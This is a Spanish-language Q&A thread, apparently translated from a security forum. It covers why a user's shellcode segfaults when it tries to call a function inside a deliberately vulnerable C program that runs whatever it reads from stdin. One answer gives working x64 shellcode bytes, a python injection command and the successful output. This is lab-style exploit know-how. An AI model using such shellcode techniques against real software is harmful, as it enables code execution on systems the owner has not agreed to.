Error de falla de segmentación al llamar a la función definida por el usuario en shellcode

1

Recibo el error de falla de segmentación cuando llamé a la función "target" en mi código de shell.

Aquí está el código C del programa:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 50

void target(){
    //Magic Happens Here   
}


void function_x(){
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if(stuff == MAP_FAILED){
        exit(0);
    }
    printf("You can type %d bytes:\n", AMOUNT_OF_STUFF);
    fflush(stdout);
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
    if(len == 0){
        exit(0);
    }
    void (*func)() = (void (*)())stuff;
    func();      
}

int main(){
    function_x();
    return 0;
}

Obtuve el código de operación de la instrucción "CALL TARGET_FUNCTION_ADDRESS" que es "0xfffef5e8" y lo guardé en un archivo como: echo -e "\ xe8 \ xf5 \ xfe \ xff" > shellcode

Luego pasé mi código de shell como entrada al programa como:

    (gdb) r < shellcode
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/rakesh/a.out < shellcode
    You can type 50 bytes:

    Breakpoint 1, 0x08048615 in function_x ()
    (gdb) si
    0xb7fd5000 in ?? ()

    (gdb) x/10w $eip
    0xb7fd5000: 0xfffef5e8  0x0000000a  0x00000000  0x00000000
    0xb7fd5010: 0x00000000  0x00000000  0x00000000  0x00000000
    0xb7fd5020: 0x00000000  0x00000000

    (gdb) si
    0xc2fd4efa in ?? ()

    (gdb) si

    Program received signal SIGSEGV, Segmentation fault.
    0xc2fd4efa in ?? ()
    (gdb) 
    [46]+  Stopped                 gdb ./a.out

Puedo ver que EIP está apuntando a mi shellcode dado pero aún no funciona como se esperaba.

¿Alguien puede decirme por qué mi código de shell no funciona?

    
pregunta Rakesh Mane 09.04.2017 - 18:47
fuente

2 respuestas

4

Como dijo Joshua, simplemente mueva (e) la dirección de la función objetivo a un registro y llame a ese registrador. Ensamble eso y use sus códigos de operación, porque necesita un código de shell (códigos de operación) que se ejecutará, y no una dirección de función.

Cuando se llama a func() después de tipear ("cosas") en un puntero de función mientras escribías

void (*func)() = (void (*)())stuff;
func();

Exploit:

Usé tu código C y modifiqué un poco la función de destino para

void target(){
    //Magic Happens Here
        puts("You won");
        exit(0);
}

Lo compiló con los siguientes indicadores de gcc: gcc -fno-stack-protector -z execstack vuln.c

Lo hice en una arquitectura de 64 bits, por lo que el binario es ELF de 64 bits. Ahora ejecute el binario en gdb, y encuentre la dirección de la función "target" como:

(gdb) p target
$1 = {<text variable, no debug info>}' **0x4006dd** '<target>

Vaya aquí y reúna las siguientes instrucciones x64 (para x86 use eax en lugar de rax). Ejemplo:

mov rax ,0x4006dd
call rax

Da el siguiente código de shell: **\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0**

Ahora escríbelo en el archivo

python -c "print '\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0'" > exp
root@BOX:~# cat exp| ./a.out

Puedes escribir 50 bytes: **You won**

root@BOX:~#'

Ejecutando así la función de destino.

    
respondido por el Rahul Maini 10.04.2017 - 00:52
fuente
1

No estoy seguro de dónde obtuvo los códigos de operación para su llamada, pero intentaría los códigos de operación para colocar la dirección de la función a la que desea llamar en un registro y luego hacer una llamada a ese registro. También puede usar una instrucción jmp, a menos que necesite realizar un seguimiento de eip +1 antes de la llamada.

El programa termina intentando acceder a la memoria fuera del territorio del usuario, esa es la razón de la falta de seguridad.

    
respondido por el Joshua Gimer 09.04.2017 - 21:04
fuente